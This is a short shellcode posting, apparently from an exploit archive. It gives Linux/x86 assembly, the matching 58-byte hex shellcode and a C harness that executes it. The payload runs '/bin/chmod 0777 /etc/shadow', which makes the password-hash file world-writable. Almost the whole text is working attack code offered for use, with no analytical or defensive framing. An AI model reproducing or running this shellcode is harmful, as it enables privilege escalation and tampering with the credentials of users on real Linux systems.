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linux/x86 execve-chmod 0777 /etc/shadow 58 bytes
[***************************************************************
* Linux/x86 execve-chmod 0777 /etc/shadow 58 bytes
***************************************************************
* Author: Hamza Megahed
***************************************************************
* Twitter: @Hamza_Mega
***************************************************************
* blog: hamza-mega[dot]blogspot[dot]com
***************************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com
***************************************************************
xor %eax,%eax
push %eax
pushl $0x776f6461
pushl $0x68732f2f
pushl $0x6374652f
movl %esp,%esi
push %eax
pushl $0x37373730
movl %esp,%ebp
push %eax
pushl $0x646f6d68
pushl $0x632f6e69
pushl $0x622f2f2f
mov %esp,%ebx
pushl %eax
pushl %esi
pushl %ebp
pushl %ebx
movl %esp,%ecx
mov %eax,%edx
mov $0xb,%al
int $0x80
********************************
#include <stdio.h>
#include <string.h>
char *shellcode =
"\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73"
"\x68\x68\x2f\x65\x74\x63\x89\xe6\x50\x68\x30\x37"
"\x37\x37\x89\xe5\x50\x68\x68\x6d\x6f\x64\x68\x69"
"\x6e\x2f\x63\x68\x2f\x2f\x2f\x62\x89\xe3\x50\x56"
"\x55\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
# 0day.today [2024-12-25] #